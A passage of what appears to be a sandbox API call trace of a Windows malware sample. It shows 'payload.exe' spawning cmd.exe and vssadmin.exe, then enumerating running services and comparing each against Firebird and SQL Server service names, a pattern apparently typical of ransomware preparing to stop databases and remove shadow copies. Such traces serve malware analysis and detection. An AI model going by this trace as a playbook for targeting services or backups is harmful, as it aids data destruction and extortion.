th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0055.729] lstrlenW (lpString="current.exe") returned 11 [0055.729] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.729] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.729] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.730] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.730] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.731] lstrlenW (lpString="taskhost.exe") returned 12 [0055.731] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0055.731] lstrlenW (lpString="payload.exe") returned 11 [0055.731] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.731] lstrlenW (lpString="cmd.exe") returned 7 [0055.731] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.732] lstrlenW (lpString="conhost.exe") returned 11 [0055.732] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.732] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.732] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.733] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.733] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.733] lstrlenW (lpString="svchost.exe") returned 11 [0055.733] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0055.733] lstrlenW (lpString="LogonUI.exe") returned 11 [0055.733] Process32NextW (in: hSnapshot=0x244, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0055.734] CloseHandle (hObject=0x244) returned 1 [0055.734] Sleep (dwMilliseconds=0x1f4) [0056.486] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x900068 [0056.487] EnumServicesStatusExW (in: hSCManager=0x900068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0056.487] GetLastError () returned 0xea [0056.487] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0056.487] EnumServicesStatusExW (in: hSCManager=0x900068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0056.488] CloseServiceHandle (hSCObject=0x900068) returned 1 [0056.488] lstrlenW (lpString="Appinfo") returned 7 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.488] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.488] lstrlenW (lpString="AudioSrv") returned 8 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.488] lstrlenW (lpString="BFE") returned 3 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.488] lstrlenW (lpString="CryptSvc") returned 8 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.488] lstrlenW (lpString="CscService") returned 10 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.488] lstrlenW (lpString="DcomLaunch") returned 10 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.488] lstrlenW (lpString="Dhcp") returned 4 [0056.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.489] lstrlenW (lpString="Dnscache") returned 8 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.489] lstrlenW (lpString="DPS") returned 3 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.489] lstrlenW (lpString="eventlog") returned 8 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.489] lstrlenW (lpString="EventSystem") returned 11 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.489] lstrlenW (lpString="gpsvc") returned 5 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.489] lstrlenW (lpString="iphlpsvc") returned 8 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.489] lstrlenW (lpString="LanmanServer") returned 12 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.489] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.489] lstrlenW (lpString="lmhosts") returned 7 [0056.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.489] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.489] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.489] lstrlenW (lpString="MMCSS") returned 5 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.490] lstrlenW (lpString="MpsSvc") returned 6 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.490] lstrlenW (lpString="Netman") returned 6 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.490] lstrlenW (lpString="netprofm") returned 8 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.490] lstrlenW (lpString="NlaSvc") returned 6 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.490] lstrlenW (lpString="nsi") returned 3 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.490] lstrlenW (lpString="PcaSvc") returned 6 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.490] lstrlenW (lpString="PlugPlay") returned 8 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.490] lstrlenW (lpString="Power") returned 5 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.490] lstrlenW (lpString="ProfSvc") returned 7 [0056.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.490] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.491] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.491] lstrlenW (lpString="RpcSs") returned 5 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.491] lstrlenW (lpString="SamSs") returned 5 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.491] lstrlenW (lpString="Schedule") returned 8 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.491] lstrlenW (lpString="SENS") returned 4 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.491] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.491] lstrlenW (lpString="Spooler") returned 7 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.491] lstrlenW (lpString="swprv") returned 5 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.491] lstrlenW (lpString="SysMain") returned 7 [0056.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.492] lstrlenW (lpString="Themes") returned 6 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.492] lstrlenW (lpString="TrkWks") returned 6 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.492] lstrlenW (lpString="UxSms") returned 5 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.492] lstrlenW (lpString="VSS") returned 3 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.492] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.492] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.492] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.492] lstrlenW (lpString="Winmgmt") returned 7 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.492] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.492] 